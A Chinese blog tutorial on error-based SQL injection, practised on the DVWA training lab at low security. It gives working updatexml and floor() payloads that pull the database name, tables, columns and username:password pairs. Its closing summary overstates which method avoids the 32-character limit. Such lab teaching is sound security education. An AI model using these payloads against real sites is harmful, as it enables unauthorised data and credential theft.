SQL注入-报错注入
原理:
数据库在执行时,遇到语法不对,会显示报错信息,开发期间,为方便调试,通常会采用一些异常处理函数来捕获报错信息,如果页面会返回报错信息并存在SQL注入,可以采用报错注入。
常用函数
updatexml(a,b,c):三个参数,a:指定xml文件string类,b:xpath语法(如果报错则会显示xpath的值),c:要替换的字符串。
extractvalue(a,b,c):三个参数,a:指定xml文件string类,b:xpath语法(如果报错则会显示xpath的值),c:要替换的字符串,与上一个用法是一样的。
floor():函数的作用就是返回小于等于括号内该值的最大整数,用法payload:select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);,报错核心为floor(rand(0)*2)。
count():聚合函数,返回查询对象的总数。
rand():随机函数,取0~1之间某值。
concat():将结果拼接成为一条字符串。
order by:按照查询结果分组。
判断注入点:
环境:dvwa等级:low。
我们在输入框里输入1',发现反回报错信息。

有报错信息我们就可以尝试报错注入,输入1' and bc() --+:注:这里的bc()函数什么也不是,目的就是让他爆出数据库没有此函数的错误。

发现报错并显示出数据库名称。
报错注入敏感数据:
payload:?id=1’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+:两边的1为字符串,你可以写任何东西,只要他是字符串类型,0x7e为波浪号~目的为容易区分回显位置。

可以查到数据库名为dvwa。
查询用户名:
payload:?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+:

得出用户名为root。
以此类推:
查询表名:
payload:?id=1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)) --+:

得出表明为guestbook和users。
查询字段名:
payload:?id=1’ and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)) --+:

这时我们发现,唉不对啊?查询出来的字段不够啊?那是因为使用updatexml()和extractvalue()报错,只在页面显示32个字符串,所以我们需要对其进行截取。
payload:?id=1' and (updatexml(1,concat(0x7e,(select (substr((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),32,32))),0x7e),1)) --+

由此我们得到了第32到第64个的字符,在以此类推,最后拼接出来就是要查的内容了。
查询数据:
也是一样的,payload:?id=1' and (updatexml(1,concat(0x7e,(select (substr((select group_concat(user,0x3a,password) from users limit 0,1),1,32))),0x7e),1)) --+:

付:
使用floor()报错注入是不用担心字符限制问题的。
本文介绍了SQL报错注入的原理,即数据库执行语法错误时会显示报错信息,若页面返回报错且存在SQL注入,可采用报错注入。还列举了常用函数,详细说明了判断注入点、注入敏感数据、查询用户名、表名、字段名和数据的方法,指出使用报错注入无需担心字符限制。
3598

被折叠的 条评论
为什么被折叠?



